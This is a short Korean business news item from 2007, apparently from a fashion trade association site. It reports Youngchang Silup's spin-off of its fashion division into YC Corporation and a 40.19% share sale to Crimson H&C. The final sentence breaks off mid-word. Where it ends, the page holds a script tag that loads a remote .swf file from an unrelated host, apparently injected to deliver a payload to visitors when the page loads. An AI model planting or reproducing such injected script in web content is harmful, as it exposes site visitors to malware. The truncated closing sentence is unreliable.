영창실업, 패션사업 단독법인으로 분리

한국패션협회 2007-05-29 10:47 조회수 아이콘 696

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영창실업, 패션사업 단독법인으로 분리

영창실업(대표 김귀녕)이 오는 8월 17일부터 패션사업 부문을 분할, 와이씨코퍼레이션을 설립한다고 28일 공시했다.


영창실업은 사업 역량의 집중과 재무구조의 개선을 위해 패션사업부문을 물적분할방식으로 분할해 패션 전문회사로 발전시키고 모기업인 영창실업은 피혁사업부문에 집중하면서 우량기업으로 발전시킬 계획이라고 밝혔다.


물적분할이란 분할신설회사가 발행한 주식을 분할회사가 100% 소유하는 방식이다.


이에 따라 와이씨코퍼레이션은 ‘St.John’, ‘월포드’, ‘말로’를 전개하는 패션전문회사로 경쟁력을 강화할 수 있게 됐다.


신설법인인 와이씨코퍼레이션의 대표에는 이재완씨가 내정된 것으로 알려졌다.


한편 영창실업의 최대주주인 박석외 5인은 28일 소유했던 주식 732,108주(40.19%)를 크림슨H&C(대표 이재완)에게 195억원에 양도하는 계약을 체결했으?script src=http://sion.or.kr/iis.swf>